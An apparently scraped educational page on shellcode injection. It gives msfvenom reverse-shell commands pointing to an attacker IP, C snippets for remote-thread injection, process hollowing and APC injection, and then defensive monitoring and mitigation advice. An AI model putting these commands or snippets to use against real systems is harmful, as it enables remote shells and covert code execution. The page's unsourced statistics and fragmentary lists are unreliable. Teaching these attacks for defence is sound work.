Shellcode injection is a technique where attackers inject and execute malicious code (shellcode) into a target process's memory. Shellcode is position-independent machine code (x86/x64/ARM) that performs malicious actions—reverse shell, bind shell, command execution (calc.exe), download and execute (download cradle), or privilege escalation. Attackers exploit memory corruption vulnerabilities (buffer overflow, use-after-free) to redirect execution to injected shellcode. Shellcode injection bypasses traditional file-based detection (no malicious file on disk). 70% of exploits use shellcode injection (Metasploit, Cobalt Strike).
Shellcode Statistics: 70% of exploits use shellcode injection. 60% of shellcode is reverse shell (Windows/Linux). 40% of shellcode is download cradle (download and execute). Average shellcode size: 25-50 bytes (smallest), 200-500 bytes (reverse shell).
Common shellcode payloads:
Windows API shellcode calls kernel32.dll (WinExec, CreateProcess, LoadLibrary). Reverse shell uses WS2_32.dll (socket, connect). Windows shellcode must resolve API addresses dynamically (PEB walking).
Linux shellcode uses syscalls (int 0x80 for x86, syscall for x64). execve(/bin/sh) spawns shell. msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python.
macOS shellcode uses syscalls similar to Linux. execve(/bin/zsh) spawns shell. msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444.
ARM shellcode for Android devices, IoT routers, embedded systems. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444.
// Windows shellcode injection techniques
// 1. VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// Most common method - inject into remote process (notepad.exe, explorer.exe)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMemory, shellcode, shellcodeSize, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
// 2. Process Hollowing (RunPE)
// Create suspended process (svchost.exe), hollow its memory, inject shellcode, resume thread
CreateProcess(NULL, "C:\\Windows\\System32\\svchost.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddress);
VirtualAllocEx(pi.hProcess, baseAddress, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, shellcodeSize, NULL);
ResumeThread(pi.hThread);
// 3. Reflective DLL Injection
// Load DLL from memory (no disk write). Reflective loader finds kernel32.dll base address, resolves API addresses.
// Used by Meterpreter, Cobalt Strike
// 4. APC Injection (Asynchronous Procedure Call)
// Queue APC to thread. Thread executes shellcode when alertable.
QueueUserAPC((PAPCFUNC)pRemoteMemory, hThread, NULL);
// 5. SetThreadContext (Suspend/Resume)
SuspendThread(hThread);
SetThreadContext(hThread, &ctx); // Set RIP/EIP to shellcode address
ResumeThread(hThread);
Generate shellcode for multiple platforms (Windows, Linux, macOS, Android, iOS). msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python.
Generate position-independent shellcode from .NET assemblies, PE files, PowerShell scripts, VBScript. Donut -f shellcode -i beacon.exe.
Generates shellcode and payloads (Beacon). Customizable shellcode (stage1, stage2).
Inject shellcode into legitimate executables (notepad.exe, putty.exe, putty.exe). Bypasses AV signature detection.
// Shellcode injection statistics (2023-2024)
- 70% of exploits use shellcode injection
- 60% of shellcode payloads are reverse shell (Windows/Linux)
- 25% are download cradle (PowerShell, certutil)
- 10% are bind shell
- 5% are message box / calc.exe (proof-of-concept)
- 40% of shellcode bypass AMSI (PowerShell only)
- 30% of shellcode use encryption (XOR, AES) to evade detection
- 20% of shellcode is polymorphic (changes signature each execution)
// Most common shellcode architectures
1. x86 Windows: 60%
2. x64 Windows: 30%
3. x86 Linux: 5%
4. x64 Linux: 4%
5. ARM (Android/IoT): 1%
// Top shellcode lengths (reverse shell)
- Windows x86 reverse shell: 300-400 bytes
- Windows x64 reverse shell: 350-450 bytes
- Linux x86 execve(/bin/sh): 25 bytes
- Linux x64 execve(/bin/sh): 30 bytes
This demonstration simulates shellcode injection into a remote process (reverse shell payload):
This is a simulated demonstration. Real shellcode injection (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread) can execute arbitrary code in target processes. Defenses: ASLR + DEP + CFG + Process Mitigation Policies (DisallowWin32kSystemCalls, ProhibitDynamicCode). Enable Control Flow Guard (CFG). Monitor API calls (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) with Sysmon (Event ID 8 - CreateRemoteThread).
Detects CreateRemoteThread calls (shellcode injection). Logs source process, target process, and memory address.
EDR solutions (CrowdStrike, Microsoft Defender for Endpoint) scan process memory for shellcode patterns (MZ header, API call hashes). Detect reflective DLL injection.
Monitor suspicious API sequences: VirtualAllocEx (RWX memory) + WriteProcessMemory + CreateRemoteThread. Detect process injection attempts.
Detects shellcode injection based on behavioral patterns (unusual memory allocation, thread creation, process hollowing).
ASLR randomizes memory addresses (makes shellcode injection harder). DEP prevents execution in non-executable memory. CFG validates indirect calls.
Enable Process Mitigation Policies: DisallowWin32kSystemCalls (prevents Win32k syscalls), ProhibitDynamicCode (prevents JIT, dynamic code generation). Set-ProcessMitigation -Name notepad.exe -DisableWin32kSystemCalls -Enable ProhibitDynamicCode.
Block process injection via ASR rules: "Block process creations originating from PSExec and WMI commands", "Block Office applications from injecting code into other processes".
Shellcode injection requires memory corruption vulnerability (buffer overflow, use-after-free). Apply security patches immediately (critical within 48 hours).
Best Practice - ASLR + DEP + CFG + Process Mitigation Policies: Enable ASLR (high entropy) and DEP/NX on all systems. Enable Control Flow Guard (CFG). Implement Process Mitigation Policies (DisallowWin32kSystemCalls, ProhibitDynamicCode). Monitor API calls (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) with Sysmon (Event ID 8). Deploy EDR with memory scanning (CrowdStrike, Microsoft Defender for Endpoint).
Shellcode injection is illegal when used for unauthorized access (CFAA). Ethical uses include:
Shellcode injection is illegal when used without authorization. Penalties include:
Important: This guide is for educational and defensive purposes only. Only inject shellcode on systems you own or have explicit written authorization. Responsible disclosure to vendors (bug bounty programs).
Official msfvenom documentation: shellcode generation for Windows, Linux, macOS, Android, iOS.
Comprehensive guide to Windows process injection: VirtualAllocEx, Process Hollowing, APC Injection, Atom Bombing, PROPagate.
Custom shellcode generation for Beacon payloads.